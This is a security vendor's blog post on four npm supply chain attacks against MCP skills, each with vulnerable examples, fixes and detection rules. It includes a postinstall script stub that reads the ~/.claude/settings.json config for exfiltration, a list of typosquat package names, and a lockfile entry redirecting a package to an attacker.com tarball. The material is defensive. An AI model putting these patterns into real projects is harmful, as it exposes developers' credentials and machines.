← Blog

Claude skill supply chain security — SA-SKL-SUPPLY

Supply chain attacks against npm packages have compromised banking libraries, CI tooling, and developer utilities — in each case, trusted package names were used to deliver malicious code that ran on the developer's machine or in production. MCP skills are particularly attractive supply chain targets because they run with direct filesystem access to the developer's Claude environment. SA-SKL-SUPPLY-001 through SUPPLY-004 cover the four most common npm supply chain attack vectors in community MCP skills: missing lockfiles, postinstall hook execution, typosquatting, and lockfile injection via pull request.

By SkillAudit  |  5 Nov 2026

Why MCP skills are high-value supply chain targets

An npm supply chain attack typically targets developer machines during npm install rather than end users at runtime. MCP skills sit at the intersection of both vectors: they are installed by developers (install-time attack surface) and then run with access to the developer's filesystem, API keys, and Claude environment (runtime attack surface). A malicious postinstall script in a dependency can read the developer's ~/.claude/ configuration, exfiltrate their Anthropic API key, and persist a backdoor in the installed skill — all in the seconds between npm install and the developer noticing anything unusual.

SA-SKL-SUPPLY in scope: SUPPLY-001 (missing package-lock.json), SUPPLY-002 (postinstall hook code execution), SUPPLY-003 (typosquatted dependency name), SUPPLY-004 (lockfile injection via PR). Distinct from SA-SKL-DEP (outdated dependency CVE exposure) and SA-SKL-DEPCONF (dependency confusion with internal registries).

SUPPLY-001 — Missing lockfile enables floating dependency takeover

When a MCP skill's repository does not include package-lock.json (or uses a .gitignore that excludes it), every npm install resolves the latest version matching the semver range in package.json. A dependency like "express": "^4.18.0" will silently install 4.19.0, 4.20.0, or any later 4.x release published after the skill was written. If the express maintainer account is compromised and a malicious 4.20.1 is published, every developer or CI pipeline that runs npm install on the skill installs the malicious version — with no diff to review because the lockfile doesn't exist to record the change.

# VULNERABLE: package-lock.json not committed (or in .gitignore)
# .gitignore
node_modules/
package-lock.json    # ← Developers often add this to .gitignore — dangerous

# Result: each npm install resolves different package versions
# npm install today: express@4.18.2, got@13.0.0
# npm install next month: express@4.19.1 (new, may be compromised)
# FIXED: commit package-lock.json and use npm ci in CI/CD
# .gitignore — remove package-lock.json from ignore list

# Install exactly the versions in the lockfile (not the ranges in package.json)
# CI pipeline:
npm ci                # Uses package-lock.json exactly — fails if it's out of sync

# Local development:
npm install           # Updates lockfile if versions change
git add package-lock.json  # Commit lockfile changes after review

# Verify no floating ranges were introduced accidentally:
npm ls --depth=0      # Shows resolved versions — compare to lockfile
HIGH
SA-SKL-SUPPLY-001 — MCP skill repository has no package-lock.json committed, or package-lock.json appears in .gitignore; every npm install resolves the latest version matching the semver range, allowing a compromised package maintainer to deliver malicious code on the next install with no diff to review. Fix: commit package-lock.json; use npm ci in CI/CD pipelines; remove lockfile from .gitignore.

SUPPLY-002 — Postinstall hook RCE during npm install

npm runs scripts.postinstall from a package's package.json immediately after the package is installed, with the same filesystem permissions as the user running npm install. This is a legitimate mechanism for compiling native addons (node-gyp), downloading platform-specific binaries, and running setup scripts. It is also the primary vector for supply chain code execution attacks: a compromised dependency publishes a new version with a postinstall script that reads credentials, establishes a reverse shell, or modifies source files. The attack requires no user interaction beyond the existing npm install command.

// VULNERABLE: dependency with postinstall hook
// In node_modules/some-package/package.json:
{
  "name": "some-package",
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  }
}
// setup.js (malicious version published after maintainer account compromise):
const fs = require('fs');
const os = require('os');
const https = require('https');
const claudeConfig = fs.readFileSync(os.homedir() + '/.claude/settings.json', 'utf8');
// Exfiltrate config to attacker server...
# FIXED: audit postinstall scripts; use --ignore-scripts for dependencies
# that don't require native compilation

# Option 1: install with scripts disabled (best for pure-JS dependencies)
npm install --ignore-scripts

# Option 2: audit existing postinstall scripts
npm ls | xargs -I{} npm show {} scripts.postinstall 2>/dev/null

# Option 3: use Socket.dev or SkillAudit CI integration to flag new postinstall
# hooks in dependency upgrades

# package.json: use exact versions instead of ranges for direct dependencies
{
  "dependencies": {
    "express": "4.18.2",          // Exact version — not "^4.18.2"
    "got": "13.0.0"               // Prevents silent minor/patch upgrades
  }
}
CRITICAL
SA-SKL-SUPPLY-002 — MCP skill's transitive dependency tree includes packages with scripts.postinstall hooks; a compromised package maintainer publishes a malicious postinstall script that executes with full filesystem access on npm install, enabling credential exfiltration from ~/.claude/, API key theft from .env, and persistent backdoor installation. Fix: run npm install --ignore-scripts for pure-JS dependencies; use exact version pinning in package.json; audit postinstall scripts in dependencies before upgrading; use Socket.dev or similar in CI to detect new postinstall hooks.

SUPPLY-003 — Typosquatted dependency name

Typosquatting attacks register npm package names that are visually similar to popular packages — a transposed letter, a missing hyphen, an added suffix — and publish them with malicious postinstall scripts. The attack works because developers copy dependency names from README files, Stack Overflow answers, blog posts, and AI-generated code suggestions, all of which can contain subtle typos. MCP skill ecosystems are particularly at risk because new packages like @anthropic-ai/sdk, @modelcontextprotocol/sdk, and skill-specific wrappers are introduced frequently and developers may not have the correct name memorized.

# Known typosquatting patterns against MCP skill ecosystem packages:
# Legitimate → Typosquatted
# @anthropic-ai/sdk     → @anthropic-al/sdk (lowercase L vs number 1)
# @modelcontextprotocol → @model-contextprotocol (extra hyphen)
# mcp-sdk               → mcpsdk (missing hyphen)
# @anthropic-ai/sdk     → anthropic-ai-sdk (without scope)

# Any of these published to npm with a postinstall script = RCE on install
# FIXED: verify package names and scopes before installing

# 1. Check the package's official documentation for the exact npm name
# 2. Verify the npm package author matches the official org
npm show @anthropic-ai/sdk maintainers    # Should show Anthropic
npm show @anthropic-ai/sdk repository     # Should match official GitHub

# 3. Use package-lock.json to pin the resolved package + integrity hash
# package-lock.json includes:
{
  "node_modules/@anthropic-ai/sdk": {
    "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.x.x.tgz",
    "integrity": "sha512-..."  // ← cryptographic hash of the tarball
  }
}
# npm ci verifies this hash on every install — typosquatted package = different hash

# 4. Add npm audit to CI pipeline — will flag known malicious packages
npm audit --audit-level=moderate
HIGH
SA-SKL-SUPPLY-003 — MCP skill's package.json contains a dependency name that is a near-match to a popular package (transposed characters, missing/extra hyphen, missing npm scope prefix); attacker registered the similar name and published it with a postinstall script; developers installing with the typo install the malicious package. Fix: verify package names against official documentation before adding; commit package-lock.json with integrity hashes; run npm audit in CI; use SkillAudit's supply chain scan which flags near-duplicate package names.

SUPPLY-004 — Lockfile injection via pull request

Lockfile injection is an attack on the code review process rather than on npm directly. An attacker submits a pull request to a MCP skill repository that modifies package-lock.json to change the resolved URL or integrity hash for a legitimate package — pointing to an attacker-controlled tarball that contains malicious code alongside the expected package functionality. Code reviewers typically focus on package.json for new dependencies and rarely inspect the binary-looking package-lock.json diff. When the PR is merged and CI runs npm ci, it downloads the attacker's tarball because the lockfile points to their URL.

# VULNERABLE: lockfile injection — attacker modifies package-lock.json in a PR
# package-lock.json (attacker's modified version):
{
  "node_modules/got": {
    "version": "13.0.0",
    "resolved": "https://attacker.com/got-13.0.0.tgz",  // ← Changed!
    "integrity": "sha512-ATTACKER_HASH...",              // ← Changed to match fake tarball
  }
}
# Real package.json still shows "got": "^13.0.0" — looks normal in review
# npm ci: downloads attacker's tarball, runs postinstall script from it
# FIXED: verify lockfile integrity in CI; use npm-lockfile-verify or similar

# 1. Run npm ci on a clean node_modules — compares lockfile integrity against npm registry
npm ci

# 2. If the resolved URL is not registry.npmjs.org, fail the build:
node -e "
  const lock = require('./package-lock.json');
  for (const [name, pkg] of Object.entries(lock.packages || {})) {
    if (pkg.resolved && !pkg.resolved.startsWith('https://registry.npmjs.org/')) {
      console.error('Non-registry URL in lockfile:', name, pkg.resolved);
      process.exit(1);
    }
  }
"

# 3. Require PR review for any package-lock.json changes that modify 'resolved' or 'integrity'
# GitHub branch protection: require approval from CODEOWNERS for package-lock.json
# CODEOWNERS:
# package-lock.json  @security-team
HIGH
SA-SKL-SUPPLY-004 — MCP skill CI pipeline runs npm ci on a package-lock.json without verifying that all resolved URLs point to the official npm registry; an attacker submitting a PR can modify the lockfile to point a trusted package name to a malicious tarball, bypassing code review that only inspects package.json. Fix: validate that all resolved entries in package-lock.json start with https://registry.npmjs.org/; require CODEOWNERS review for lockfile changes; use Sigstore attestation (npm provenance) for packages that support it.

SkillAudit detection summary — SA-SKL-SUPPLY

Pattern IDSeverityWhat SkillAudit flagsFix
SUPPLY-001HIGHpackage-lock.json absent from repository root or present in .gitignoreCommit lockfile; use npm ci in CI; remove from .gitignore
SUPPLY-002CRITICALTransitive dependencies with scripts.postinstall in their package.json; especially new postinstall scripts added in a version bumpnpm install --ignore-scripts for pure-JS deps; exact version pinning; audit postinstall scripts before upgrading
SUPPLY-003HIGHDependency name in package.json is a near-match (edit distance ≤ 2) to a known popular package in the MCP ecosystemVerify package names against official docs; use integrity-locked lockfile; npm audit in CI
SUPPLY-004HIGHresolved entries in package-lock.json pointing to non-registry.npmjs.org URLs; integrity hash changes without corresponding version changeValidate all resolved URLs against npm registry; CODEOWNERS review for lockfile changes

Related patterns: For outdated dependency CVE exposure in MCP skills, see SA-SKL-DEP. For dependency confusion attacks against private npm registries (internal packages accidentally fetched from public npm), see SA-SKL-DEPCONF. For credential exposure via environment variable logging during install scripts, see SA-SKL-ENVEXP.